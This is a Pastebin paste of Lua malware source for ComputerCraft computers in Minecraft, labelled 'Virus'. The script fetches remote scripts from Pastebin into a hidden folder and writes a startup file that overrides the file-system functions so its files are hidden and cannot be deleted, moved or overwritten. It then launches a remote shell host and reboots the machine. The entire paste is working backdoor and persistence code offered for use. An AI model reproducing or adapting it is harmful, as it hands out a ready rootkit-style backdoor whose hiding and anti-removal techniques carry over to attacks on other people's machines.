Sxw1212

Untitled

Apr 17th, 2015
250
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. -- Virus
  2. -- by Liquid Obsidian
  3. -- Runs secret nsh on their computer.
  4.  
  5. local base = "/"
  6.  
  7. term.clear()
  8.  
  9. shell.run("pastebin get iXTDgCnS .virus/nsh")
  10. shell.run("pastebin get Aaza6h5v .virus/framebuffer")
  11. shell.run("label set v_" .. math.random(1, 10000))
  12.  
  13. local f = fs.open("startup", "w")
  14.   f.write([[
  15.   local rootfs = {}
  16.  
  17.   for k, v in pairs(fs) do
  18.     rootfs[k] = v
  19.   end
  20.  
  21.   fs.list = function(path)
  22.     local files = rootfs.list(path)
  23.     local newFiles = {}
  24.     for k, v in pairs(files) do
  25.       if(v ~= "startup") then
  26.         table.insert(newFiles, v)
  27.       end
  28.     end
  29.     return newFiles
  30.   end
  31.  
  32.   fs.delete = function(path)
  33.     if path:find("startup") or path:find("virus") or path:find("list") then
  34.       return false
  35.     else
  36.       rootfs.delete(path)
  37.     end
  38.   end
  39.  
  40.   fs.move = function(path, toPath)
  41.     if path:find("startup") or path:find("virus") then
  42.       return false
  43.     else
  44.       rootfs.move(path, toPath)
  45.     end
  46.   end
  47.  
  48.   fs.open = function(path, mode)
  49.     if ( path:find("startup") or path:find(".virus") or path:find("list") ) and not mode:find("r") then return false end
  50.    
  51.     if mode:find("w") or mode:find("a") and ( path:find("startup") or path:find(".virus") or path:find("list") ) then
  52.       return false
  53.     end
  54.    
  55.     return rootfs.open(path, mode)
  56.   end
  57.  
  58.     if not os.getComputerLabel() then
  59.         shell.run("label set v_" .. math.random(1, 10000))
  60.     end
  61.    
  62.     if fs.exists("/.virus/extra") then shell.run("/.virus/extra") end
  63.  
  64.   shell.run('.virus/nsh host')
  65. ]])
  66.  
  67. f.close()
  68.  
  69. term.clear()
  70. term.setCursorPos(1, 1)
  71. if term.isColor() then term.setTextColor(colors.red) end
  72.  
  73. term.write(os.getComputerID())
  74. sleep(.3)
  75.  
  76. os.reboot()
Advertisement
Add Comment
Please, Sign In to add comment